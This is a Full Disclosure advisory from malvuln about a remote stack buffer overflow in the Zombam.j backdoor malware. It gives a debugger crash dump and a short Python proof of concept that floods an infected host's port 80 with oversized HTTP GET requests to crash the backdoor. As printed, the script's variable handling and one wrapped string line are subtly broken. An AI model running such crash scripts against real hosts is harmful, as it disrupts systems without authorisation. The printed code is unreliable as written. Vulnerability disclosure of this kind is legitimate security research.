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Date: Sat, 2 Jan 2021 17:53:05 -0500
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.Zombam.j / Remote Stack Buffer Overflow

Discovery / credits: malvuln - Malvuln.com (c) 2021
Original source:
http://malvuln.com/advisory/a4212f23e1cc3bb34b0dfe15b2ad323e.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Zombam.j
Vulnerability: Remote Stack Buffer Overflow
Description: Listens on TCP port 80, sending consecutive HTTP requests
with incrementing payload results in stack buffer overflow of the
backdoor malware.

Type: PE32
MD5: a4212f23e1cc3bb34b0dfe15b2ad323e
Vuln ID: MVID-2021-0006
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 01/02/2021

Memory Dump:
EAX : 055DF9F0
EBX : 040402A0     "X\v"
ECX : 055DFA20
EDX : 41414141
EBP : 055DFA28
ESP : 055DF9D8
ESI : 040402A0     "X\v"
EDI : 00404E86     backdoor.win32.zombam.j.00404E86
EIP : 0040292E     backdoor.win32.zombam.j.0040292E

dword ptr [edx+4]=[41414145]=???


(168c.20d0): Access violation - code c0000005 (first/second chance not
available)
eax=00000000 ebx=00000000 ecx=050cfa20 edx=41414141 esi=00000003 edi=00000003
eip=773ced3c esp=050cf0bc ebp=050cf24c iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
ntdll!ZwWaitForMultipleObjects+0xc:
773ced3c c21400          ret     14h

0:004> .ecxr
eax=050cf9f0 ebx=040702d0 ecx=050cfa20 edx=41414141 esi=040702d0 edi=00404e86
eip=0040292e esp=050cf9d8 ebp=050cfa28 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
*** WARNING: Unable to verify checksum for Backdoor.Win32.Zombam.j.exe
*** ERROR: Module load completed but symbols could not be loaded for
Backdoor.Win32.Zombam.j.exe
Backdoor_Win32_Zombam_j__+0x292e:
0040292e 8b4204          mov     eax,dword ptr [edx+4] ds:002b:41414145=????????


Exploit/PoC:
from socket import *

MALWARE_INFECTED_HOST="x.x.x.x"
sz = 76660
c=1

def doit():
    while True:
        s=socket(AF_INET, SOCK_STREAM)
        s.connect((MALWARE_INFECTED_HOST, 80))
        sz += 2600
        JUNK="A"*sz
        PAYLOAD="GET /"+JUNK+" HTTP/1.0\r\nHost:
"+MALWARE_INFECTED_HOST+"\r\n\r\n"
        s.send(PAYLOAD)
        s.close()
        c+=1
        if c==3:
            exit()
    print("Backdoor.Win32.Zombam.j / Remote Stack Buffer Overflow")
    print("MD5: a4212f23e1cc3bb34b0dfe15b2ad323e")
    print("By malvuln")

if __name__=="__main__":
    doit()



Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or
otherwise. Permission is hereby granted for the redistribution of this
advisory, provided that it is not altered except by reformatting it,
and that due credit is given. Permission is explicitly given for
insertion in vulnerability databases and similar, provided that due
credit is given to the author. The author is not responsible for any
misuse of the information contained herein and accepts no
responsibility for any damage caused by the use or misuse of this
information. The author prohibits any malicious use of security
related information or exploits by the author or elsewhere. Do not
attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occuring from improper
Malware handling or the downloading of ANY Malware mentioned on this
website or elsewhere. All content Copyright (c) Malvuln.com (TM).

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